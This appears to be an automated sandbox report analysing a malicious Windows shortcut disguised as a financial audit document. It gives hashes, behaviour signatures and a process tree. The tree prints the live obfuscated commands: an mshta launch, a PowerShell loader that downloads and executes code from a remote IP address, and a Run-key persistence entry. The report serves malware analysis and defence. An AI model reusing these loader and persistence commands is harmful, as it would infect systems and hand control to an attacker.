Analysis
-
max time kernel
63s -
max time network
75s -
platform
windows7_x64 -
resource
win7 -
submitted
16/07/2020, 16:09
Static task
static1
Behavioral task
behavioral1
Sample
AKT-FinAuditService.docx.lnk
Resource
win7
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
AKT-FinAuditService.docx.lnk
Resource
win10v200430
windows10_x64
0 signatures
0 seconds
General
-
Target
AKT-FinAuditService.docx.lnk
-
Size
27KB
-
MD5
1425616dd18b99224472948a0442fda8
-
SHA1
406d63ededaf84274793601e420dd4c1b7a23bfc
-
SHA256
769ad49c1d893c2965e25f180288e649d42b89a0b7588f63ad7c4bdba1105537
-
SHA512
835fc2c4f2874c9faf155352405e7a976b51dbda62a13d484cedcd989c894a169ac8054555c8d91b3833aa8a7f2c52d145904db1ce6224743744dfc27d15209f
Score
8/10
Malware Config
Signatures
-
Blacklisted process makes network request 1 IoCs
flow pid Process 4 740 powershell.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Windows\CurrentVersion\Run\izy9tp76 = "cmd /c power^shell -windowstyle hidden -nop -c \"Get-Content -Raw ''C:\\Users\\Admin\\AppData\\Roaming\\izy9tp76.ini'' | iex \"" powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 1124 wrote to memory of 1316 1124 cmd.exe 25 PID 1124 wrote to memory of 1316 1124 cmd.exe 25 PID 1124 wrote to memory of 1316 1124 cmd.exe 25 PID 1316 wrote to memory of 1408 1316 cmd.exe 26 PID 1316 wrote to memory of 1408 1316 cmd.exe 26 PID 1316 wrote to memory of 1408 1316 cmd.exe 26 PID 1408 wrote to memory of 784 1408 mshta.exe 27 PID 1408 wrote to memory of 784 1408 mshta.exe 27 PID 1408 wrote to memory of 784 1408 mshta.exe 27 PID 1408 wrote to memory of 740 1408 mshta.exe 28 PID 1408 wrote to memory of 740 1408 mshta.exe 28 PID 1408 wrote to memory of 740 1408 mshta.exe 28 -
Deletes itself 1 IoCs
pid Process 1408 mshta.exe -
Suspicious use of AdjustPrivilegeToken 41 IoCs
description pid Process Token: SeDebugPrivilege 740 powershell.exe Token: SeIncreaseQuotaPrivilege 740 powershell.exe Token: SeSecurityPrivilege 740 powershell.exe Token: SeTakeOwnershipPrivilege 740 powershell.exe Token: SeLoadDriverPrivilege 740 powershell.exe Token: SeSystemProfilePrivilege 740 powershell.exe Token: SeSystemtimePrivilege 740 powershell.exe Token: SeProfSingleProcessPrivilege 740 powershell.exe Token: SeIncBasePriorityPrivilege 740 powershell.exe Token: SeCreatePagefilePrivilege 740 powershell.exe Token: SeBackupPrivilege 740 powershell.exe Token: SeRestorePrivilege 740 powershell.exe Token: SeShutdownPrivilege 740 powershell.exe Token: SeDebugPrivilege 740 powershell.exe Token: SeSystemEnvironmentPrivilege 740 powershell.exe Token: SeRemoteShutdownPrivilege 740 powershell.exe Token: SeUndockPrivilege 740 powershell.exe Token: SeManageVolumePrivilege 740 powershell.exe Token: 33 740 powershell.exe Token: 34 740 powershell.exe Token: 35 740 powershell.exe Token: SeIncreaseQuotaPrivilege 740 powershell.exe Token: SeSecurityPrivilege 740 powershell.exe Token: SeTakeOwnershipPrivilege 740 powershell.exe Token: SeLoadDriverPrivilege 740 powershell.exe Token: SeSystemProfilePrivilege 740 powershell.exe Token: SeSystemtimePrivilege 740 powershell.exe Token: SeProfSingleProcessPrivilege 740 powershell.exe Token: SeIncBasePriorityPrivilege 740 powershell.exe Token: SeCreatePagefilePrivilege 740 powershell.exe Token: SeBackupPrivilege 740 powershell.exe Token: SeRestorePrivilege 740 powershell.exe Token: SeShutdownPrivilege 740 powershell.exe Token: SeDebugPrivilege 740 powershell.exe Token: SeSystemEnvironmentPrivilege 740 powershell.exe Token: SeRemoteShutdownPrivilege 740 powershell.exe Token: SeUndockPrivilege 740 powershell.exe Token: SeManageVolumePrivilege 740 powershell.exe Token: 33 740 powershell.exe Token: 34 740 powershell.exe Token: 35 740 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 740 powershell.exe 740 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 784 WINWORD.EXE 784 WINWORD.EXE 784 WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 784 WINWORD.EXE -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\AKT-FinAuditService.docx.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:1124 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /v /c set m=m^s^h^ta && set a=AKT-F^inAudit^Service.^docx.l^nk && if exist "!cd!\!a!" (!m! "!cd!\!a!") else (!m! !temp!\Temp1_А^ктСве^рки.z^ip\!a!)2⤵
- Suspicious use of WriteProcessMemory
PID:1316 -
C:\Windows\system32\mshta.exemshta "C:\Users\Admin\AppData\Local\Temp\AKT-FinAuditService.docx.lnk "3⤵
- Suspicious use of WriteProcessMemory
- Deletes itself
- Modifies Internet Explorer settings
PID:1408 -
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\AKT-FinAuditService.docx"4⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
PID:784
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -c while(!(.("""{0}{1}{2}"""-f ("""{1}{0}""" -f 'st-','Te'),("""{2}{1}{0}""" -f 'ec','onn','C'),("""{1}{0}"""-f'n','tio')) ("""{1}{2}{0}""" -f ("""{0}{1}"""-f("""{1}{0}"""-f'.c','le'),'om'),'g','oog') -q)) {&("""{1}{2}{0}{3}""" -f ("""{0}{1}""" -f("""{0}{1}""" -f 'a','rt-'),'Sl'),'S','t','eep') -s 5} .("""{1}{0}""" -f'ex','i')(.("""{2}{1}{0}""" -f't',("""{1}{0}"""-f 'jec','Ob'),("""{0}{1}""" -f'Ne','w-')) ("""{0}{4}{1}{2}{3}"""-f ("""{1}{0}""" -f 'W',("""{0}{1}"""-f 'Net','.')),'C','li','ent','eb')).("""{3}{4}{1}{2}{0}"""-f'ing',("""{1}{0}"""-f'lo','wn'),("""{1}{0}""" -f 'Str','ad'),'D','o')."""In`Vo`kE"""(("""http://45.61.138.170/decide.php"""))4⤵
- Blacklisted process makes network request
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:740
-
-
-